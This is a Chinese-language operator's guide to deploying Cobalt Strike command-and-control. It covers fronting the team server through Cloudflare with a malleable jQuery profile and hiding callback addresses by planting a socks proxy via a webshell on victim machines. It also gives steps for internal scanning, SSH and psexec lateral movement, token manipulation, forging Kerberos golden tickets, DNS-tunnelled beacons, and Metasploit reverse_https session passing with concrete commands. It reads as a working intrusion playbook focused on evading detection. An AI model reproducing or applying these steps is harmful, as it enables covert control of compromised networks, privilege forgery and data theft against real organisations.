CobaltStrike
团队服务器搭建
1)生成SSL证书
证书直接使用Cloudflare提供的证书
使用默认配置生成证书和秘钥后(server.pem server.key),复制粘贴到服务器上
生成证书
# 这里cdn.publab.cf是我的域名
openssl pkcs12 -export -in server.pem -inkey server.key -out cdn.publab.cf.p12 -name cdn.publab.cf -passout pass:999000
#生成CS证书
keytool -importkeystore -deststorepass 999000 -destkeypass 999000 -destkeystore cdn.publab.cf.store -srckeystore cdn.publab.cf.p12 -srcstoretype PKCS12 -srcstorepass 999000 -alias cdn.publab.cf
生成keystore放在CS的根目录下,确保keystore文件名与密码和https-certificate中设置的一致。Cloudflare默认的TLS配置为灵活,由于之前使用了Cloudflare给原服务器发的证书,我们可以改成完全(严格)提高安全性。
创建Cloudflare规则,不代理js请求(缓存级别-绕过)
2)配置Profile
需要使用Profile让Beacon和Teamserver之间的交互看起来尽可能像正常的流量
下载:https://github.com/threatexpress/malleable-c2/blob/master/jquery-c2.4.3.profile
根据我们的域名对Profile进行修改,以便能够上线HTTP/HTTPS BEACON;
需要修改的内容主要有四处:
1、https-certificate块中更改keystore和密码
2、http-stager 块中的Host Header
3、http-get 块中的Host Header
4、http-post 块中的Host Header
使用CS自带的 c2lint 对profile语法进行检查,没有报错就行
./c2lint jquery.profile
需要更改Profile中的响应头配置,其中的
header "Content-Type" "application/javascript; charset=utf-8";
#改为
header "Content-Type" "application/*; charset=utf-8";
即可正常执行命令回显
3)启动团队服务器
nohup ./teamserver VPS-IP cs@admin.886 jquery.profile &
回连IP隐藏
cs4.5的监听器可以设置socks代理(可以直接使用公开socks上线,但是GWF肯定能记录)
1)用webshell在目标机器上上传一个本地socks代理工具
2)监听器代理填写127.0.0.1
3)目标机器上木马的回连地址会显示为IPV4回连地址,且流量监测设备不会抓取存储回连地址的流量
常用功能
Host File
托管主机文件
Attacks-> Web Drive-by -> Host File
选择要托管的文件,选择任意URL,然后选择文件的mime类型
内网主机发现(C段ARP)
在会话列表视图中,右键获得的初始权限,扫描内网存活的主机和端口
[beacon] -> Explore -> Port Scanner
扫描到的存活主机会在targets中列出,并且可自己标记系统类型,查看目标开启的服务。
上线SSH主机
1、切换到targets视图,添加一个目标
2、右键这个新加的目标Login-> ssh即可让目标通过ssh上线,(需要用户名和密码)
数据透视监听器(中转)
数据透视监听器可以创建绑定到信标 (beacon) 或SSH会话的监听器。
这样可以创建新的反向会话,而无需与命令和控制基础结构进行更直接的连接。
[beacon]-> Pivoting-> Listener
接下来可以在targets视图中选择一个目标去psexec上线
Make Token
[beacon] -> Access -> Make Token
该对话框显示Cobalt Strike的凭据,并将所选凭据转换为令牌
golden-ticket 金票
生成Kerberos黄金票据,伪造域管理员权限。
[beacon] -> Access -> Golden Ticket
黄金票据需要以下四项信息
- 要伪造票据的用户
- 要伪造票据的域
- 域的 SID
- 域控制器中krbtgt用户的NTLM hash
DNS信道
数据通道
模式dns-txt是DNS TXT记录数据通道;默认值为DNS TXT记录数据通道。
模式dns是DNS A记录数据通道;使用信标的mode命令更改当前信标的数据通道。
操作步骤
1、c2服务器关闭53端口的服务
如果开着防火墙要放行53端口
lsof -i :53
systemctl stop systemd-resolved.service
2、在域名解析记录中,配一条A记录指向 teamserver 的IP
3、再配1条或多条NS记录用来做隧道,域名指向A记录(域名)
NS记录的作用是想知道ns1.xx.info这个域名的IP,去问cs.xx.info
在我们的 C2-VPS 执行以下命令监听 UDP53 端口,在任意一台机器上执行 nslookup ns记录
如果有查询数据,证明配置有效
tcpdump -n -i eth0 udp dst port 53
4、listener 选择Beacon DNS,DNS-Host都填NS记录
5、只有在有任务可用时,DNS Beacon才会激活,使用checkin命令来请求DNS信标激活
与Metasploit联动
CS会话传递到MSF上
1、MSF监听
use exploit/multi/handler
set LHOST 192.168.0.104 #MSF的IP
set LPORT 8080
run
#[*] Started HTTP reverse handler on http://192.168.0.104:8080
2、CS上创建外部监听器
3、CS上派生到外部监听器(MSF)
[beacon] -> Spawn
MSF会话传递到CS上
1、CS上创建一个https监听器
2、MSF先把会话调到后台
meterpreter > background
3、MSF调用 payload_inject 模块
设置 lhost 和 lport 为 Cobalt Strike 的监听 IP 和端口
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_https
set lhost 119.45.153.4
set lport 443
set DisablePayloadHandler True
set session 1
run